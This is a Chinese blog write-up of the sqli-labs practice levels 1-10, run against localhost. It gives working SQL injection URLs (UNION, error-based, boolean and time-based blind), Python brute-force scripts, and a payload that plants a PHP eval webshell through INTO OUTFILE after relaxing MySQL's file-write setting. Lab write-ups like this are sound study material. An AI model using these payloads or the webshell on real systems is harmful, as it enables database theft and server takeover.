Sqli-labs 1-10

Less 1-4(基础注入)

基础知识:

  • table_schema:数据库的名称
  • table_name:表的名称
  • column_name:列的名称
  • information_schema:表示所有信息,包括库、表、列
  • information_schema.tables:表示所有表的信息
  • information_schema.columns:表示所有列的信息
  • limit 0,1 :从第0位(第一个)开始搜索1个
  • group_concat:将结果联合在一行输出

查库

  • select 1,2,group_concat(schema_name) from information_schema.schemata

Payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

selete 1,2是因为发现有三个输出位置,第一个没有结果,需要爆的的位置在2,3均可。

不一定一定是'闭合,不同题还可能是",)等等。

最后的+会被解析成空格,如果没有+,注释符号--会和'再一起导致报错。

查表

  • select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

Payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查列

  • select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

查字段

  • select 1,2,group_concat(username,0x3a,password) from security.users

0x3a 16进制转10进制就是58 转字符就是;

payload与前面类似

Less 5-6(报错注入)

  1. floor报错

    • 1'后+ or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

  2. extractvalue报错

    • 1'后+or extractvalue(1, concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) --+
    • 上面是查表,其他的类似更改就行。
    • 结果只能一个一个显示,故是limit x,1。要逐个查询则更改x的值。

Less 7 (导入文件注入)

  • 一点补充,不同软件及系统下网站根目录:

linux:/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm

apache:.../var/www/htm,.../var/www/html/htdocs

phpstudy(我就是这个):...\PHPTutorial\WWW\

那么该怎么获取到呢,这个板块我们无法拿到,可以在之前Less 1试试

payload:?id=-1' union select 1,@@basedir,@@datadir --+

成功拿到了地址

现在回到Less 7

payload:?id=1')) union select 1,2,'<?php @eval($_POST["theoyu"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

发现并没能传入文件..

百度得知需要查看mysql有无写入权限:

  • 打开mysql 输入show variables like '%secure%';

  • 这里是我已经更改过的,没有更改的secure_file_priv这里value应该是NULL,需要打开mysql.ini加入secure_file_priv="/"

  • 然后就是上面我的样子了!就可以传文件了。

  • 之后就可以用蚁剑或者菜刀为所欲为了~

Less 8(布尔注入)

payload:?id=1' and (select length(database())=1) --+

这里不断更改1,2直到8,根据页面是否返回you are in......判断正确与否,这里用python脚本尝试爆破数据库长度和名字。

import requests
import re
import datetime

target_url='http://localhost/sqli-labs-master/Less-8/'

'''Get database length'''
def get_database_length(target_url):
    print('Loading...')
    for i in range(1,10):
        payload = "?id=1' and (select length(database())=%s) --+"%i
        htmlcontent = requests.get(target_url + payload).text
        result = re.findall("You are in...........",htmlcontent)
        if not result:
            continue
        else:
            print('Database length: %s' %i)
            return i

'''Get database name'''
def get_database_name(target_url):
    db_name = ''
    db_length = get_database_length(target_url)
    letters = 'abcdefghijklmnopqrstuvwxyz'
    for i in range(1,db_length + 1):
        for letter in letters:
            payload = "?id=1' and substr(database(),%s,1)='%s' --+" %(i, letter)
            r = requests.get(target_url + payload)
            if 'You are in' in r.text:
                db_name += letter
                print(db_name)
                break
           
    print('Database name:%s'%db_name)
    return db_name

if __name__ == '__main__':
    print('+---------------------------------------------------------------------------------------------+')
    begin = datetime.datetime.now()
    target_url = 'http://127.0.0.1/sqli-labs-master/Less-8/'
    database = get_database_name(target_url)
    
    print('+---------------------------------------------------------------------------------------------+')

结果如下:

也不知道为什么,速度真的很慢很慢很慢??平均每个字母尝试都画了一秒,一个字节就画了快一分钟(还是我没把数字包含进去),看视频里都是刷瞬间就弄完了,寻思我的电脑也没那么烂阿?

哦对了不想用python的话用burp suite也可以,很简单速度好像还快一些。

Less 9-10 (基于时间的盲注)

  • 在这两个模块,无论我们输入什么,返回的结果都是一样的,只能用sleep函数,根据返回的时间进行判断。
import requests 
import datetime
import time 
global length


def database_len():
    for i in range(1,10):
        url='''http://localhost/sqli-labs-master/Less-9/'''
        payload='''?id=1' and if(length(database())=%d,sleep(3),0) --+'''%i
        start_time=time.time()
        requests.get(url+payload)
        if time.time()-start_time>3:
            print('database length is ',i)
            global length
            length=i
            break
        else:
            print(i)
database_len()

def database_name():
    name=''
    for j in range(1,length+1):
        for i in 'abcdefghijklmnopqrstuvwxyz0123456789':
            url='''http://localhost/sqli-labs-master/Less-9/'''
            payload='''?id=1' and if(substr(database(),%d,1)='%s',sleep(3),0)--+'''%(j,i)
            start_time=time.time()
            requests.get(url+payload)
            if time.time()-start_time>3:
                name+=i
                print(name)
                break
    print('database_name:',name)

database_name()
  • 输出结果

posted on 2020-09-04 11:49  The0Y  阅读(235)  评论(0编辑  收藏  举报

导航